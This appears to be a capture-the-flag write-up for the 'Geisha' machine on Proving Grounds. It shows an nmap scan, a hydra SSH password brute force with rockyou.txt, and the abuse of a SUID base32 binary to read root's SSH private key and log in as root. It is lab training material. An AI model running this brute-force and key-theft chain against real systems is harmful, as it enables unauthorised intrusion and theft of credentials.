Skip to content
HackIndex.io

Geisha Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

Geisha repeats its own name across every web service, which hints at a username. A short SSH brute force against geisha succeeds, and a SUID base32 binary reads root's SSH private key, giving a root login.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian
80/tcp   open  http     Apache httpd 2.4.38 ((Debian))
|_http-title: Geisha
7080/tcp open  ssl/http LiteSpeed httpd
8088/tcp open  http     LiteSpeed httpd
9198/tcp open  http     SimpleHTTPServer 0.6 (Python 2.7.16)
|_http-title: Geisha
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

Several web servers all titled Geisha, plus FTP and SSH. The repeated name suggests the username geisha, so brute force its SSH password.

Exploitation

SSH brute force

Brute force the SSH password for geisha.

┌──(kali㉿kali)-[~]
└─$ hydra -l geisha -P /usr/share/wordlists/rockyou.txt $TARGET_IP ssh 
[22][ssh] host: $TARGET_IP   login: geisha   password: $GEISHA_PASSWORD
1 of 1 target successfully completed, 1 valid password found
Explain command
-l Single username to try.
-P Password list to spray.

The password is recovered. Log in over SSH and enumerate SUID binaries.

Privilege Escalation

SUID base32 file read

List SUID binaries.

┌──(kali㉿kali)-[~]
└─$ find / -perm -u=s -type f 2>/dev/null 
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/base32
/usr/bin/sudo
/usr/bin/mount

/usr/bin/base32 is SUID. GTFOBins shows a SUID base32 can read any file as root by encoding and decoding it. Read root's SSH private key.

┌──(kali㉿kali)-[~]
└─$ base32 /root/.ssh/id_rsa | base32 --decode 
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA43eVw/8oSsnOSPCSyhVEnt01fIwy1YZUpEMPQ8pPkwX5uPh4
<snip>
-----END RSA PRIVATE KEY-----

Save the key and log in as root over SSH on localhost.

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa root@localhost 
root@geisha:~# whoami
root
Explain command
-i Use this private key for authentication.

The SUID base32 leaked root's key, giving a root shell.

Related

SUID and SGID Binary Privilege Escalation
Blog

SUID and SGID Binary Privilege Escalation

Exploit misconfigured SUID/SGID binaries on Linux to escalate privileges by abusing executables that...
Username Enumeration & Cross-Platform Correlation
Blog

Username Enumeration & Cross-Platform Correlation
SSH Private Key Discovery and Passphrase Cracking
Blog

SSH Private Key Discovery and Passphrase Cracking

Locate SSH private keys on compromised hosts, extract them, and crack passphrases offline using John...

References